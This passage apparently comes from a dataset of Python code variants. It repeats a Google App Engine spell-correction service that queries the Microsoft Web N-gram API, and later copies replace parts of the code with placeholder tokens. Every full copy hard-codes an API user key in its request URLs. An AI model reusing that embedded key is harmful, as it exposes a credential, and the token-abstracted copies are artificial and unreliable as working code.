dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\ndef getdictionary(wordelist):\n global MONTH, DATASET, NGRAM, PROB\n dictionaryy = dict()\n rpcs = []\n for i in range(len(wordelist)):\n if i < 3:\n t = 0\n else:\n t = i - 3\n form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[\n t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH,\n 'd': DATASET, 'ng': NGRAM, 'pp': PROB}\n formdata = urllib.urlencode(form_fields)\n rpc = urlfetch.create_rpc()\n url = 'http://timetest.forbackend.appspot.com/wordspellcheck'\n urlfetch.make_fetch_call(rpc, url, payload=formdata, method=\n urlfetch.POST)\n rpcs.append(rpc)\n resultts = list()\n for rpc in rpcs:\n result = rpc.get_result()\n resultts.append(result.content)\n dictionaryy[listtostr(wordelist)] = 0\n for i in range(len(wordelist)):\n if resultts[i] == wordelist[i]:\n continue\n else:\n for j in range(i, len(wordelist) + 1):\n pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:])\n dictionaryy[pp] = 0\n return dictionaryy\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\ndef querylength(query):\n liste = query.split()\n counte = 0\n for x in liste:\n if len(x) > 1:\n counte += 1\n if counte == 0:\n return 1\n else:\n return counte\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\napplication = webapp.WSGIApplication([('/mainpage', maintest), ('/maintest',\n mainpage), ('/split', splittest)], debug=True)\n\n\ndef main():\n run_wsgi_app(application)\n\n\nif __name__ == '__main__':\n main()\n",
"<import token>\nlogservice.AUTOFLUSH_EVERY_SECONDS = None\nlogservice.AUTOFLUSH_EVERY_BYTES = None\nlogservice.AUTOFLUSH_ENABLED = False\nMONTH = 'jun09'\nNGRAM = '3'\nPROB = 'jp'\nDATASET = 'bing-body'\nREQUESTURL = ('http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\nGENURL = ('http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\ndef lexicon_key(lexicon_name=None):\n return db.Key.from_path('lexicon0', lexicon_name or 'default')\n\n\ndef combination(wordlist, t):\n tempc = wordlist\n combinationqueryset = [listtostr(tempc[:i] + ['%s%s' % (tempc[i], tempc\n [i + 1])] + tempc[i + 2:]) for i in range(0, len(tempc) - 1)]\n cquery = listtostr(tempc)\n combinationqueryset.append(cquery)\n results = getjp1('', combinationqueryset, '')\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n if t == 0:\n t = dictionary[cquery]\n if results[0][0] == cquery:\n return cquery, results[0][1], t\n else:\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n y = list()\n for i in range(x):\n y.append(combinationqueryset.index(results[i][0]))\n y.sort(reverse=True)\n cache = wordlist\n for z in y:\n cache[z] += cache[z + 1]\n del cache[z + 1]\n return combination(cache, t)\n\n\ndef spacesplits(wordlist):\n temps = wordlist\n query = listtostr(temps)\n strings = []\n for i in range(len(temps)):\n for y in range(1, len(temps[i])):\n strings.append(listtostr(temps[:i] + list([temps[i][:y], temps[\n i][y:]]) + temps[i + 1:]))\n strings.append(query)\n results = getjp1('', strings, '')\n if results[0][0] == query:\n return query, results[0][1]\n else:\n return spacesplits(results[0][0].split())\n\n\ndef getjp(before, wordlist, after):\n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i]) / querylength(wordli[i])\n dictionary = dict(zip(wordli, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\ndef getdictionary(wordelist):\n global MONTH, DATASET, NGRAM, PROB\n dictionaryy = dict()\n rpcs = []\n for i in range(len(wordelist)):\n if i < 3:\n t = 0\n else:\n t = i - 3\n form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[\n t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH,\n 'd': DATASET, 'ng': NGRAM, 'pp': PROB}\n formdata = urllib.urlencode(form_fields)\n rpc = urlfetch.create_rpc()\n url = 'http://timetest.forbackend.appspot.com/wordspellcheck'\n urlfetch.make_fetch_call(rpc, url, payload=formdata, method=\n urlfetch.POST)\n rpcs.append(rpc)\n resultts = list()\n for rpc in rpcs:\n result = rpc.get_result()\n resultts.append(result.content)\n dictionaryy[listtostr(wordelist)] = 0\n for i in range(len(wordelist)):\n if resultts[i] == wordelist[i]:\n continue\n else:\n for j in range(i, len(wordelist) + 1):\n pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:])\n dictionaryy[pp] = 0\n return dictionaryy\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\ndef querylength(query):\n liste = query.split()\n counte = 0\n for x in liste:\n if len(x) > 1:\n counte += 1\n if counte == 0:\n return 1\n else:\n return counte\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\napplication = webapp.WSGIApplication([('/mainpage', maintest), ('/maintest',\n mainpage), ('/split', splittest)], debug=True)\n\n\ndef main():\n run_wsgi_app(application)\n\n\nif __name__ == '__main__':\n main()\n",
"<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\ndef lexicon_key(lexicon_name=None):\n return db.Key.from_path('lexicon0', lexicon_name or 'default')\n\n\ndef combination(wordlist, t):\n tempc = wordlist\n combinationqueryset = [listtostr(tempc[:i] + ['%s%s' % (tempc[i], tempc\n [i + 1])] + tempc[i + 2:]) for i in range(0, len(tempc) - 1)]\n cquery = listtostr(tempc)\n combinationqueryset.append(cquery)\n results = getjp1('', combinationqueryset, '')\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n if t == 0:\n t = dictionary[cquery]\n if results[0][0] == cquery:\n return cquery, results[0][1], t\n else:\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n y = list()\n for i in range(x):\n y.append(combinationqueryset.index(results[i][0]))\n y.sort(reverse=True)\n cache = wordlist\n for z in y:\n cache[z] += cache[z + 1]\n del cache[z + 1]\n return combination(cache, t)\n\n\ndef spacesplits(wordlist):\n temps = wordlist\n query = listtostr(temps)\n strings = []\n for i in range(len(temps)):\n for y in range(1, len(temps[i])):\n strings.append(listtostr(temps[:i] + list([temps[i][:y], temps[\n i][y:]]) + temps[i + 1:]))\n strings.append(query)\n results = getjp1('', strings, '')\n if results[0][0] == query:\n return query, results[0][1]\n else:\n return spacesplits(results[0][0].split())\n\n\ndef getjp(before, wordlist, after):\n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i]) / querylength(wordli[i])\n dictionary = dict(zip(wordli, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\ndef getdictionary(wordelist):\n global MONTH, DATASET, NGRAM, PROB\n dictionaryy = dict()\n rpcs = []\n for i in range(len(wordelist)):\n if i < 3:\n t = 0\n else:\n t = i - 3\n form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[\n t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH,\n 'd': DATASET, 'ng': NGRAM, 'pp': PROB}\n formdata = urllib.urlencode(form_fields)\n rpc = urlfetch.create_rpc()\n url = 'http://timetest.forbackend.appspot.com/wordspellcheck'\n urlfetch.make_fetch_call(rpc, url, payload=formdata, method=\n urlfetch.POST)\n rpcs.append(rpc)\n resultts = list()\n for rpc in rpcs:\n result = rpc.get_result()\n resultts.append(result.content)\n dictionaryy[listtostr(wordelist)] = 0\n for i in range(len(wordelist)):\n if resultts[i] == wordelist[i]:\n continue\n else:\n for j in range(i, len(wordelist) + 1):\n pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:])\n dictionaryy[pp] = 0\n return dictionaryy\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\ndef querylength(query):\n liste = query.split()\n counte = 0\n for x in liste:\n if len(x) > 1:\n counte += 1\n if counte == 0:\n return 1\n else:\n return counte\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\nif __name__ == '__main__':\n main()\n",
"<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\ndef lexicon_key(lexicon_name=None):\n return db.Key.from_path('lexicon0', lexicon_name or 'default')\n\n\ndef combination(wordlist, t):\n tempc = wordlist\n combinationqueryset = [listtostr(tempc[:i] + ['%s%s' % (tempc[i], tempc\n [i + 1])] + tempc[i + 2:]) for i in range(0, len(tempc) - 1)]\n cquery = listtostr(tempc)\n combinationqueryset.append(cquery)\n results = getjp1('', combinationqueryset, '')\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n if t == 0:\n t = dictionary[cquery]\n if results[0][0] == cquery:\n return cquery, results[0][1], t\n else:\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n y = list()\n for i in range(x):\n y.append(combinationqueryset.index(results[i][0]))\n y.sort(reverse=True)\n cache = wordlist\n for z in y:\n cache[z] += cache[z + 1]\n del cache[z + 1]\n return combination(cache, t)\n\n\ndef spacesplits(wordlist):\n temps = wordlist\n query = listtostr(temps)\n strings = []\n for i in range(len(temps)):\n for y in range(1, len(temps[i])):\n strings.append(listtostr(temps[:i] + list([temps[i][:y], temps[\n i][y:]]) + temps[i + 1:]))\n strings.append(query)\n results = getjp1('', strings, '')\n if results[0][0] == query:\n return query, results[0][1]\n else:\n return spacesplits(results[0][0].split())\n\n\ndef getjp(before, wordlist, after):\n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i]) / querylength(wordli[i])\n dictionary = dict(zip(wordli, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\ndef getdictionary(wordelist):\n global MONTH, DATASET, NGRAM, PROB\n dictionaryy = dict()\n rpcs = []\n for i in range(len(wordelist)):\n if i < 3:\n t = 0\n else:\n t = i - 3\n form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[\n t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH,\n 'd': DATASET, 'ng': NGRAM, 'pp': PROB}\n formdata = urllib.urlencode(form_fields)\n rpc = urlfetch.create_rpc()\n url = 'http://timetest.forbackend.appspot.com/wordspellcheck'\n urlfetch.make_fetch_call(rpc, url, payload=formdata, method=\n urlfetch.POST)\n rpcs.append(rpc)\n resultts = list()\n for rpc in rpcs:\n result = rpc.get_result()\n resultts.append(result.content)\n dictionaryy[listtostr(wordelist)] = 0\n for i in range(len(wordelist)):\n if resultts[i] == wordelist[i]:\n continue\n else:\n for j in range(i, len(wordelist) + 1):\n pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:])\n dictionaryy[pp] = 0\n return dictionaryy\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\ndef querylength(query):\n liste = query.split()\n counte = 0\n for x in liste:\n if len(x) > 1:\n counte += 1\n if counte == 0:\n return 1\n else:\n return counte\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\ndef lexicon_key(lexicon_name=None):\n return db.Key.from_path('lexicon0', lexicon_name or 'default')\n\n\ndef combination(wordlist, t):\n tempc = wordlist\n combinationqueryset = [listtostr(tempc[:i] + ['%s%s' % (tempc[i], tempc\n [i + 1])] + tempc[i + 2:]) for i in range(0, len(tempc) - 1)]\n cquery = listtostr(tempc)\n combinationqueryset.append(cquery)\n results = getjp1('', combinationqueryset, '')\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n if t == 0:\n t = dictionary[cquery]\n if results[0][0] == cquery:\n return cquery, results[0][1], t\n else:\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n y = list()\n for i in range(x):\n y.append(combinationqueryset.index(results[i][0]))\n y.sort(reverse=True)\n cache = wordlist\n for z in y:\n cache[z] += cache[z + 1]\n del cache[z + 1]\n return combination(cache, t)\n\n\n<function token>\n\n\ndef getjp(before, wordlist, after):\n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i]) / querylength(wordli[i])\n dictionary = dict(zip(wordli, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\ndef getdictionary(wordelist):\n global MONTH, DATASET, NGRAM, PROB\n dictionaryy = dict()\n rpcs = []\n for i in range(len(wordelist)):\n if i < 3:\n t = 0\n else:\n t = i - 3\n form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[\n t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH,\n 'd': DATASET, 'ng': NGRAM, 'pp': PROB}\n formdata = urllib.urlencode(form_fields)\n rpc = urlfetch.create_rpc()\n url = 'http://timetest.forbackend.appspot.com/wordspellcheck'\n urlfetch.make_fetch_call(rpc, url, payload=formdata, method=\n urlfetch.POST)\n rpcs.append(rpc)\n resultts = list()\n for rpc in rpcs:\n result = rpc.get_result()\n resultts.append(result.content)\n dictionaryy[listtostr(wordelist)] = 0\n for i in range(len(wordelist)):\n if resultts[i] == wordelist[i]:\n continue\n else:\n for j in range(i, len(wordelist) + 1):\n pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:])\n dictionaryy[pp] = 0\n return dictionaryy\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\ndef querylength(query):\n liste = query.split()\n counte = 0\n for x in liste:\n if len(x) > 1:\n counte += 1\n if counte == 0:\n return 1\n else:\n return counte\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\ndef lexicon_key(lexicon_name=None):\n return db.Key.from_path('lexicon0', lexicon_name or 'default')\n\n\n<function token>\n<function token>\n\n\ndef getjp(before, wordlist, after):\n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i]) / querylength(wordli[i])\n dictionary = dict(zip(wordli, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n 